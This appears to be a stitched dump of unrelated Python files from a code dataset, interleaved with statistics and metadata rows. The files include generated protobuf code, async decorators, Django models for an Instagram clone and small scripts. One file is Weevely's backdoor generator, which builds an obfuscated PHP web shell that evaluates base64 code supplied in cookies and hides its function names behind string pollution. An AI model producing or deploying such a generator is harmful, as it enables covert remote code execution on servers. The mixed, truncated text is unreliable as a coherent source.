_descriptor.FieldDescriptor(
name='random_seed', full_name='ai.eloquent.TensorflowModelPerformance.random_seed', index=9,
number=10, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='hidden_dim', full_name='ai.eloquent.TensorflowModelPerformance.hidden_dim', index=10,
number=11, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='true_positive', full_name='ai.eloquent.TensorflowModelPerformance.true_positive', index=11,
number=12, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='false_positive', full_name='ai.eloquent.TensorflowModelPerformance.false_positive', index=12,
number=13, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='false_negative', full_name='ai.eloquent.TensorflowModelPerformance.false_negative', index=13,
number=14, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='true_negative', full_name='ai.eloquent.TensorflowModelPerformance.true_negative', index=14,
number=15, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='precision', full_name='ai.eloquent.TensorflowModelPerformance.precision', index=15,
number=16, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='recall', full_name='ai.eloquent.TensorflowModelPerformance.recall', index=16,
number=17, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='f1', full_name='ai.eloquent.TensorflowModelPerformance.f1', index=17,
number=18, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='accuracy', full_name='ai.eloquent.TensorflowModelPerformance.accuracy', index=18,
number=19, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='examples', full_name='ai.eloquent.TensorflowModelPerformance.examples', index=19,
number=20, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=509,
serialized_end=1005,
)
_TENSORFLOWMODELPERFORMANCEEXAMPLE = _descriptor.Descriptor(
name='TensorflowModelPerformanceExample',
full_name='ai.eloquent.TensorflowModelPerformanceExample',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='input', full_name='ai.eloquent.TensorflowModelPerformanceExample.input', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='guesses', full_name='ai.eloquent.TensorflowModelPerformanceExample.guesses', index=1,
number=2, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='labels', full_name='ai.eloquent.TensorflowModelPerformanceExample.labels', index=2,
number=3, type=5, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1007,
serialized_end=1090,
)
_TENSORFLOWMODEL.fields_by_name['token_mapper'].message_type = _TOKENMAPPER
_TOKENMAPPING.fields_by_name['type'].enum_type = _TOKENMAPPINGTYPE
_TOKENMAPPER.fields_by_name['token_mapping'].message_type = _TOKENMAPPING
_TOKENMAPPER.fields_by_name['unk_mapping'].message_type = _TOKENMAPPING
_TOKENMAPPER.fields_by_name['vectors'].message_type = _TUNEDEMBEDDING
_TENSORFLOWMODELPERFORMANCE.fields_by_name['examples'].message_type = _TENSORFLOWMODELPERFORMANCEEXAMPLE
DESCRIPTOR.message_types_by_name['TensorflowModel'] = _TENSORFLOWMODEL
DESCRIPTOR.message_types_by_name['TokenMapping'] = _TOKENMAPPING
DESCRIPTOR.message_types_by_name['TokenMapper'] = _TOKENMAPPER
DESCRIPTOR.message_types_by_name['TunedEmbedding'] = _TUNEDEMBEDDING
DESCRIPTOR.message_types_by_name['TensorflowModelPerformance'] = _TENSORFLOWMODELPERFORMANCE
DESCRIPTOR.message_types_by_name['TensorflowModelPerformanceExample'] = _TENSORFLOWMODELPERFORMANCEEXAMPLE
DESCRIPTOR.enum_types_by_name['TokenMappingType'] = _TOKENMAPPINGTYPE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
TensorflowModel = _reflection.GeneratedProtocolMessageType('TensorflowModel', (_message.Message,), dict(
DESCRIPTOR = _TENSORFLOWMODEL,
__module__ = 'TensorflowModel_pb2'
# @@protoc_insertion_point(class_scope:ai.eloquent.TensorflowModel)
))
_sym_db.RegisterMessage(TensorflowModel)
TokenMapping = _reflection.GeneratedProtocolMessageType('TokenMapping', (_message.Message,), dict(
DESCRIPTOR = _TOKENMAPPING,
__module__ = 'TensorflowModel_pb2'
# @@protoc_insertion_point(class_scope:ai.eloquent.TokenMapping)
))
_sym_db.RegisterMessage(TokenMapping)
TokenMapper = _reflection.GeneratedProtocolMessageType('TokenMapper', (_message.Message,), dict(
DESCRIPTOR = _TOKENMAPPER,
__module__ = 'TensorflowModel_pb2'
# @@protoc_insertion_point(class_scope:ai.eloquent.TokenMapper)
))
_sym_db.RegisterMessage(TokenMapper)
TunedEmbedding = _reflection.GeneratedProtocolMessageType('TunedEmbedding', (_message.Message,), dict(
DESCRIPTOR = _TUNEDEMBEDDING,
__module__ = 'TensorflowModel_pb2'
# @@protoc_insertion_point(class_scope:ai.eloquent.TunedEmbedding)
))
_sym_db.RegisterMessage(TunedEmbedding)
TensorflowModelPerformance = _reflection.GeneratedProtocolMessageType('TensorflowModelPerformance', (_message.Message,), dict(
DESCRIPTOR = _TENSORFLOWMODELPERFORMANCE,
__module__ = 'TensorflowModel_pb2'
# @@protoc_insertion_point(class_scope:ai.eloquent.TensorflowModelPerformance)
))
_sym_db.RegisterMessage(TensorflowModelPerformance)
TensorflowModelPerformanceExample = _reflection.GeneratedProtocolMessageType('TensorflowModelPerformanceExample', (_message.Message,), dict(
DESCRIPTOR = _TENSORFLOWMODELPERFORMANCEEXAMPLE,
__module__ = 'TensorflowModel_pb2'
# @@protoc_insertion_point(class_scope:ai.eloquent.TensorflowModelPerformanceExample)
))
_sym_db.RegisterMessage(TensorflowModelPerformanceExample)
DESCRIPTOR.has_options = True
DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n\020ai.eloquent.dataB\025TensorflowModelProtos'))
# @@protoc_insertion_point(module_scope)
| 42.594175 | 2,175 | 0.746034 | 2,779 | 21,936 | 5.624685 | 0.093199 | 0.060393 | 0.027509 | 0.049517 | 0.665984 | 0.568998 | 0.546222 | 0.520376 | 0.501375 | 0.496513 | 0 | 0.045502 | 0.130379 | 21,936 | 514 | 2,176 | 42.677043 | 0.773904 | 0.026258 | 0 | 0.647679 | 1 | 0.00211 | 0.235983 | 0.19748 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.014768 | 0 | 0.014768 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40feb012148cebe6483dabf37d02607456645a00 | 2,210 | py | Python | utils/decorator/dasyncio.py | masonsxu/red-flask | e8b978ee08072efcb2b3b7964065f272d8c875ab | [
"MIT"
] | null | null | null | utils/decorator/dasyncio.py | masonsxu/red-flask | e8b978ee08072efcb2b3b7964065f272d8c875ab | [
"MIT"
] | null | null | null | utils/decorator/dasyncio.py | masonsxu/red-flask | e8b978ee08072efcb2b3b7964065f272d8c875ab | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# 基于python Threading模块封装的异步函数装饰器
import time
from functools import wraps
from threading import Thread
def async_call(fn):
"""一次简单的异步处理操作,装饰在要异步执行的函数前,再调用该函数即可执行单次异步操作(开辟一条新的线程)
Args:
:fn(function):需要异步处理的方法
Return:
:wrapper(function):
"""
@wraps(fn) # 解决被装饰的函数的名字会变成装饰器函数,并还原函数名称
def wrapper(*args, **kwargs):
Thread(target=fn, args=args, kwargs=kwargs).start()
return wrapper
def async_pool(pool_links):
"""可定义链接数的线程池装饰器,可用于并发执行多次任务
Args:
:pool_links(int):进程的数量
Returns:
:sub_wrapper(function):对象装饰器
"""
def sub_wrapper(func):
@wraps(func)
def wrapper(*args, **kwargs):
for _ in range(0, pool_links):
Thread(target=func, args=args, kwargs=kwargs).start()
# func(*args, **kwargs)
return wrapper
return sub_wrapper
def async_retry(retry_times, space_time):
"""自动重试类装饰器,不支持单独异步,但可嵌套于 call 和 pool中使用
Args:
:retry_times(int):重试次数
"""
def sub_wrapper(func):
@wraps(func)
def wrapper(*args, **kwargs):
try_times = retry_times
while try_times > 0:
try:
func(*args, **kwargs)
break
except Exception as e:
print(e)
time.sleep(space_time)
try_times = try_times - 1
return wrapper
return sub_wrapper
# 以下为测试案例代码
# @async_call
# def sleep2andprint():
# time.sleep(2)
# print('22222222')
# @async_pool(pool_links=5)
# def pools():
# time.sleep(1)
# print('hehe')
# @async_retry(retry_times=3, space_time=1)
# def check():
# a = 1
# b = '2'
# print(a + b)
# def check_all():
# print('正在测试async_call组件')
# print('111111')
# sleep2andprint()
# print('333333')
# print('若3333出现在22222此前,异步成功')
# print('正在测试async_pool组件')
# pools()
# print('在一秒内打印出5个hehe为成功')
# print('正在测试async_retry组件')
# check()
# print('打印三次异常则成功')
# print(check.__name__)
# print(sleep2andprint.__name__)
# print(pools.__name__)
# check_all()
| 19.557522 | 69 | 0.570588 | 234 | 2,210 | 5.200855 | 0.367521 | 0.057518 | 0.034511 | 0.049302 | 0.164339 | 0.075596 | 0.075596 | 0.075596 | 0.075596 | 0.075596 | 0 | 0.028534 | 0.302262 | 2,210 | 112 | 70 | 19.732143 | 0.7607 | 0.466063 | 0 | 0.387097 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.258065 | false | 0 | 0.096774 | 0 | 0.516129 | 0.032258 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dc03c7056424871c088a27b25411021c5ef255a8 | 669 | py | Python | src/Models/tools/quality.py | rahlk/MOOSE | e45b64cf625bb90aa8c1c24ab1c8f52ab485a316 | [
"MIT"
] | null | null | null | src/Models/tools/quality.py | rahlk/MOOSE | e45b64cf625bb90aa8c1c24ab1c8f52ab485a316 | [
"MIT"
] | 9 | 2015-09-14T21:07:06.000Z | 2015-12-08T01:38:08.000Z | src/Models/tools/quality.py | rahlk/MAPGen | 25bc1a84f07e30ab0dbb638cd2aa1ce416c510ff | [
"MIT"
] | null | null | null | from __future__ import division, print_function
from scipy.spatial.distance import euclidean
from numpy import mean
from pdb import set_trace
class measure:
def __init__(self,model):
self.mdl = model
def convergence(self, obtained):
"""
Calculate the convergence metric with respect to ideal
solutions
"""
gammas=[]
ideals = self.mdl.get_pareto()
def nearest(a,lst):
# dist = euclidean(a, sorted(lst, key=lambda x:euclidean(x,a))[0])
# set_trace()
return euclidean(a, sorted(lst, key=lambda x:euclidean(x,a))[0])
gammas = [nearest(self.mdl.solve(member),ideals) for member in obtained]
return mean(gammas) | 30.409091 | 76 | 0.693572 | 93 | 669 | 4.860215 | 0.537634 | 0.04646 | 0.070796 | 0.084071 | 0.181416 | 0.181416 | 0.181416 | 0.181416 | 0.181416 | 0.181416 | 0 | 0.003711 | 0.19432 | 669 | 22 | 77 | 30.409091 | 0.834879 | 0.212257 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.285714 | 0.071429 | 0.714286 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dc077fe63cc4f8d54762c53d45a473600de38902 | 3,843 | py | Python | instagram/models.py | kilonzijnr/instagram-clone | 1fa662248d70a64356ef3d48d52c7e38dea95aff | [
"MIT"
] | null | null | null | instagram/models.py | kilonzijnr/instagram-clone | 1fa662248d70a64356ef3d48d52c7e38dea95aff | [
"MIT"
] | null | null | null | instagram/models.py | kilonzijnr/instagram-clone | 1fa662248d70a64356ef3d48d52c7e38dea95aff | [
"MIT"
] | null | null | null | from django.db import models
from django.db.models.deletion import CASCADE
from django.contrib.auth.models import User
from cloudinary.models import CloudinaryField
# Create your models here.
class Profile(models.Model):
"""Model for handling User Profile"""
user = models.OneToOneField(User, on_delete= models.CASCADE)
username = models.CharField(max_length = 25)
signup_date = models.DateTimeField(auto_now_add= True)
profile_photo = CloudinaryField('images')
followers = models.ManyToManyField(User, related_name='followers', blank= True)
bio = models.CharField(max_length= 70)
def __str__(self):
return self.name
def total_followers(self):
"""Method to return total numberof followers"""
return self.followers.count()
def save_profile(self):
"""Method to save profile to the database"""
self.save()
def delete_profile(self):
"""Method to delete profile from the database"""
self.delete()
def update_profile(self,new):
"""Method to update user profile
Args:
new([type]): [description]
"""
self.username = new.username
self.bio = new.bio
self.profile_photo = new.profile_pic
self.save()
@classmethod
def get_following(cls,user):
"""Method to return all users a specific user is following """
following = user.followers.all()
users = []
for profile in following:
user = User.objects.get(profile = profile)
users.append(user)
return users
@classmethod
def search_profile(cls,search_term):
"""Method to return profiles with a provided search term"""
profiles = cls.objects.filter(username_icontains = search_term)
return profiles
class Likes(models.Model):
"""Model for handling Image likes"""
likes = models.IntegerField(default=0)
class Image(models.Model):
"""Model for handling Image posts by users"""
user = models.ForeignKey(User,on_delete= models.CASCADE)
image = CloudinaryField('images')
image_name = models.CharField(max_length= 25)
caption = models.CharField(max_length= 100)
profile = models.ForeignKey(Profile, on_delete=models.CASCADE, default= None)
likes = models.ForeignKey(Likes, on_delete=CASCADE, default=None)
comment = models.CharField(max_length= 120)
time_posted = models.DateTimeField(auto_now_add= True)
def __str__(self):
return self.name
def save_image(self):
"""Method to save Image to Database"""
self.save()
def delete_image(self):
"""Method to delete Image """
self.delete()
def like_image(self,user):
"""Method to add user as an image liker"""
self.likes.add(user)
def get_total_likes(self):
"""Method to get the total number of likess on an Image"""
return self.likes.count()
def update_caption(self,caption):
"""Method to updat eimage captions in database"""
self.caption = caption
self.save()
@classmethod
def get_images(cls,users):
"""Method to get a specific image"""
posts = []
for user in users:
images = Image.objects.filter(user = user)
for image in images:
posts.append(image)
return posts
def get_comments(self):
"""Method to get all comments related to a post"""
comments = Comments.objects.filter(image = self)
return comments
class Comments(models.Model):
"""Method to define attributes of a comment"""
user = models.ForeignKey(User, on_delete=models.CASCADE)
image = models.ForeignKey(Image,on_delete=models.CASCADE)
comment = models.TextField()
def __str__(self):
return self.comment
| 30.991935 | 83 | 0.650273 | 469 | 3,843 | 5.219616 | 0.236674 | 0.045752 | 0.034314 | 0.042892 | 0.207516 | 0.116013 | 0.062909 | 0.04085 | 0.04085 | 0 | 0 | 0.0045 | 0.248244 | 3,843 | 123 | 84 | 31.243902 | 0.842852 | 0.192298 | 0 | 0.207792 | 0 | 0 | 0.007038 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.207792 | false | 0 | 0.051948 | 0.038961 | 0.662338 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dc19222afbe13a4d5207f36ba7d56c249b5d6019 | 4,542 | py | Python | Dangerous/Weevely/core/backdoor.py | JeyZeta/Dangerous- | 824ea6b571eda98bb855f176361e9b35dfda578e | [
"MIT"
] | null | null | null | Dangerous/Weevely/core/backdoor.py | JeyZeta/Dangerous- | 824ea6b571eda98bb855f176361e9b35dfda578e | [
"MIT"
] | null | null | null | Dangerous/Weevely/core/backdoor.py | JeyZeta/Dangerous- | 824ea6b571eda98bb855f176361e9b35dfda578e | [
"MIT"
] | 1 | 2018-07-04T18:35:16.000Z | 2018-07-04T18:35:16.000Z | # -*- coding: utf-8 -*-
# This file is part of Weevely NG.
#
# Copyright(c) 2011-2012 Weevely Developers
# http://code.google.com/p/weevely/
#
# This file may be licensed under the terms of of the
# GNU General Public License Version 2 (the ``GPL'').
#
# Software distributed under the License is distributed
# on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either
# express or implied. See the GPL for the specific language
# governing rights and limitations.
#
# You should have received a copy of the GPL along with this
# program. If not, go to http://www.gnu.org/licenses/gpl.html
# or write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
import base64, codecs
from random import random, randrange, choice, shuffle
from pollution import pollute_with_static_str
from core.utils import randstr
from core.moduleexception import ModuleException
from string import Template, ascii_letters, digits
PERMITTED_CHARS = ascii_letters + digits + '_.~'
WARN_SHORT_PWD = 'Invalid password, use words longer than 3 characters'
WARN_CHARS = 'Invalid password, password permitted chars are \'%s\'' % PERMITTED_CHARS
class BdTemplate(Template):
delimiter = '%'
class Backdoor:
payload_template= """
$c='count';
$a=$_COOKIE;
if(reset($a)=='%STARTKEY' && $c($a)>3){
$k='%ENDKEY';
echo '<'.$k.'>';
eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));
echo '</'.$k.'>';
}
"""
backdoor_template = """<?php
$%PAY_VAR1="%PAY1";
$%PAY_VAR2="%PAY2";
$%PAY_VAR3="%PAY3";
$%PAY_VAR4="%PAY4";
$%REPL_FUNC = str_replace("%REPL_POLL","","%REPL_ENC");
$%B64_FUNC = $%REPL_FUNC("%B64_POLL", "", "%B64_ENC");
$%CREAT_FUNC = $%REPL_FUNC("%CREAT_POLL","","%CREAT_ENC");
$%FINAL_FUNC = $%CREAT_FUNC('', $%B64_FUNC($%REPL_FUNC("%PAY_POLL", "", $%PAY_VAR1.$%PAY_VAR2.$%PAY_VAR3.$%PAY_VAR4))); $%FINAL_FUNC();
?>"""
def __init__( self, password ):
self.__check_pwd(password)
self.password = password
self.start_key = self.password[:2]
self.end_key = self.password[2:]
self.payload = BdTemplate(self.payload_template).substitute(STARTKEY = self.start_key, ENDKEY = self.end_key).replace( '\n', '' )
self.backdoor = self.encode_template()
def __str__( self ):
return self.backdoor
def __check_pwd(self, password):
if len(password)<4:
raise ModuleException('generate','\'%s\' %s' % (password, WARN_SHORT_PWD))
if ''.join(c for c in password if c not in PERMITTED_CHARS):
raise ModuleException('generate','\'%s\' %s' % (password, WARN_CHARS))
def encode_template(self):
b64_new_func_name = randstr()
b64_pollution, b64_polluted = pollute_with_static_str('base64_decode',frequency=0.7)
createfunc_name = randstr()
createfunc_pollution, createfunc_polluted = pollute_with_static_str('create_function',frequency=0.7)
payload_var = [ randstr() for st in range(4) ]
payload_pollution, payload_polluted = pollute_with_static_str(base64.b64encode(self.payload))
replace_new_func_name = randstr()
repl_pollution, repl_polluted = pollute_with_static_str('str_replace',frequency=0.7)
final_func_name = randstr()
length = len(payload_polluted)
offset = 7
piece1 = length / 4 + randrange(-offset,+offset)
piece2 = length / 2 + randrange(-offset,+offset)
piece3 = length*3/4 + randrange(-offset,+offset)
ts_splitted = self.backdoor_template.splitlines()
ts_shuffled = ts_splitted[1:6]
shuffle(ts_shuffled)
ts_splitted = [ts_splitted[0]] + ts_shuffled + ts_splitted[6:]
self.backdoor_template = '\n'.join(ts_splitted)
return BdTemplate(self.backdoor_template).substitute(
B64_FUNC = b64_new_func_name,
B64_ENC = b64_polluted,
B64_POLL = b64_pollution,
CREAT_FUNC = createfunc_name,
CREAT_ENC = createfunc_polluted,
CREAT_POLL = createfunc_pollution,
REPL_FUNC = replace_new_func_name,
REPL_ENC = repl_polluted,
REPL_POLL = repl_pollution,
PAY_VAR1 = payload_var[0],
PAY_VAR2 = payload_var[1],
PAY_VAR3 = payload_var[2],
PAY_VAR4 = payload_var[3],
PAY_POLL = payload_pollution,
PAY1 = payload_polluted[:piece1],
PAY2 = payload_polluted[piece1:piece2],
PAY3 = payload_polluted[piece2:piece3],
PAY4 = payload_polluted[piece3:],
FINAL_FUNC = final_func_name)
| 34.409091 | 137 | 0.674373 | 597 | 4,542 | 4.874372 | 0.333333 | 0.016495 | 0.02921 | 0.034364 | 0.085223 | 0.052234 | 0.028866 | 0 | 0 | 0 | 0 | 0.030344 | 0.187362 | 4,542 | 131 | 138 | 34.671756 | 0.75806 | 0.147072 | 0 | 0 | 0 | 0.023256 | 0.205447 | 0.079896 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.139535 | 0.069767 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
9051a1c1088095b37931ffbb5f87a6219186207b | 456 | py | Python | iirsBenchmark/exceptions.py | gAldeia/iirsBenchmark | 2211b4755405eb32178a09f1a01143d53dc6516d | [
"BSD-3-Clause"
] | null | null | null | iirsBenchmark/exceptions.py | gAldeia/iirsBenchmark | 2211b4755405eb32178a09f1a01143d53dc6516d | [
"BSD-3-Clause"
] | null | null | null | iirsBenchmark/exceptions.py | gAldeia/iirsBenchmark | 2211b4755405eb32178a09f1a01143d53dc6516d | [
"BSD-3-Clause"
] | null | null | null | # Author: Guilherme Aldeia
# Contact: guilherme.aldeia@ufabc.edu.br
# Version: 1.0.0
# Last modified: 08-20-2021 by Guilherme Aldeia
"""
Simple exception that is raised by explainers when they don't support local
or global explanations, or when they are not model agnostic. This should be
catched and handled in the experiments.
"""
class NotApplicableException(Exception):
def __init__(self, message=""):
self.message = message | 32.571429 | 76 | 0.730263 | 63 | 456 | 5.222222 | 0.793651 | 0.136778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02965 | 0.186404 | 456 | 14 | 77 | 32.571429 | 0.857143 | 0.697368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
905ba6022a4c26013aa2a89c33571a5f24d93f3a | 1,640 | py | Python | src/tools/create_graphs_log.py | KatiaJDL/CenterPoly | 42811d9f5f85d9fef91a03275fe6ad113ccb163c | [
"MIT"
] | null | null | null | src/tools/create_graphs_log.py | KatiaJDL/CenterPoly | 42811d9f5f85d9fef91a03275fe6ad113ccb163c | [
"MIT"
] | null | null | null | src/tools/create_graphs_log.py | KatiaJDL/CenterPoly | 42811d9f5f85d9fef91a03275fe6ad113ccb163c | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
def main():
with open('log.txt') as f:
lines = f.readlines()
glob_loss = []
hm_l = []
off_l = []
poly_l = []
depth_l = []
glob_loss_val = []
hm_l_val = []
off_l_val = []
poly_l_val = []
depth_l_val = []
for epoch in lines:
m = epoch.split("|")
if m[0].split(':')[1] == ' AP':
glob_loss_val.append(float(m[1][5:-1]))
hm_l_val.append(float(m[2][5:-1]))
off_l_val.append(float(m[3][6:-1]))
poly_l_val.append(float(m[4][7:-1]))
depth_l_val.append(float(m[5][8:-1]))
else:
nb_epoch = int(m[0].split(":")[-1])
glob_loss.append(float(m[1][5:-1]))
hm_l.append(float(m[2][5:-1]))
off_l.append(float(m[3][6:-1]))
poly_l.append(float(m[4][7:-1]))
depth_l.append(float(m[5][8:-1]))
if len(m) > 8 :
glob_loss_val.append(float(m[7][5:-1]))
hm_l_val.append(float(m[8][5:-1]))
off_l_val.append(float(m[9][6:-1]))
poly_l_val.append(float(m[10][7:-1]))
depth_l_val.append(float(m[11][8:-1]))
plt.plot(glob_loss, label = "glob_loss")
plt.plot(hm_l, label = "hm_l")
plt.plot(off_l, label = "off_l")
plt.plot(poly_l, label = "poly_l")
plt.plot(depth_l, label = "depth_l")
plt.legend()
plt.savefig("loss_train.png")
plt.show()
plt.plot(glob_loss_val, label = "glob_loss_val")
plt.plot(hm_l_val, label = "hm_l_val")
plt.plot(off_l_val, label = "off_l_val")
plt.plot(poly_l_val, label = "poly_l_val")
plt.plot(depth_l_val, label = "depth_l_val")
plt.legend()
plt.savefig("loss_valid.png")
plt.show()
if __name__ == '__main__':
main()
| 24.848485 | 50 | 0.585366 | 298 | 1,640 | 2.949664 | 0.187919 | 0.091013 | 0.204778 | 0.170648 | 0.414107 | 0.361775 | 0.302617 | 0.302617 | 0 | 0 | 0 | 0.039634 | 0.2 | 1,640 | 65 | 51 | 25.230769 | 0.630335 | 0 | 0 | 0.075472 | 0 | 0 | 0.079878 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018868 | false | 0 | 0.018868 | 0 | 0.037736 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
9070d5bf65f2cf491385a39c1e6e52e356fd0952 | 573 | py | Python | py/test.py | BEARUBC/grasp-kernel | ea2c9b698a2c457e798eff909941dc6e7c852bb2 | [
"Apache-2.0"
] | 1 | 2021-05-31T22:05:10.000Z | 2021-05-31T22:05:10.000Z | py/test.py | BEARUBC/grasp-kernel-wrapper | ea2c9b698a2c457e798eff909941dc6e7c852bb2 | [
"Apache-2.0"
] | null | null | null | py/test.py | BEARUBC/grasp-kernel-wrapper | ea2c9b698a2c457e798eff909941dc6e7c852bb2 | [
"Apache-2.0"
] | 1 | 2021-05-31T18:54:55.000Z | 2021-05-31T18:54:55.000Z | class TestClass:
def __init__(self, list, name):
self.list = list
self.name = name
def func1():
print("func1 print something")
def func2():
print("func2 print something")
integer = 8
return integer
def func3():
print("func3 print something")
s = "func3"
return s
def func4():
print("func4 print something")
listIntegers = [1,2,3,4,5]
return listIntegers
def func5():
print("func5 print something")
listStrings = ["a","b","c","d","e"]
return listStrings
print("Hello World")
# test = TestClass()
| 18.483871 | 39 | 0.612565 | 72 | 573 | 4.819444 | 0.458333 | 0.201729 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039352 | 0.246073 | 573 | 30 | 40 | 19.1 | 0.763889 | 0.031414 | 0 | 0 | 0 | 0 | 0.227848 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.26087 | false | 0 | 0 | 0 | 0.478261 | 0.26087 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
90818fc965fccbf18cf4f96b17fab97a599e1aaa | 824 | py | Python | parser/fase2/team16/main.py | webdev188/tytus | 847071edb17b218f51bb969d335a8ec093d13f94 | [
"MIT"
] | null | null | null | parser/fase2/team16/main.py | webdev188/tytus | 847071edb17b218f51bb969d335a8ec093d13f94 | [
"MIT"
] | null | null | null | parser/fase2/team16/main.py | webdev188/tytus | 847071edb17b218f51bb969d335a8ec093d13f94 | [
"MIT"
] | 4 | 2020-12-19T17:12:13.000Z | 2021-01-07T20:29:53.000Z | # This is a sample Python script.
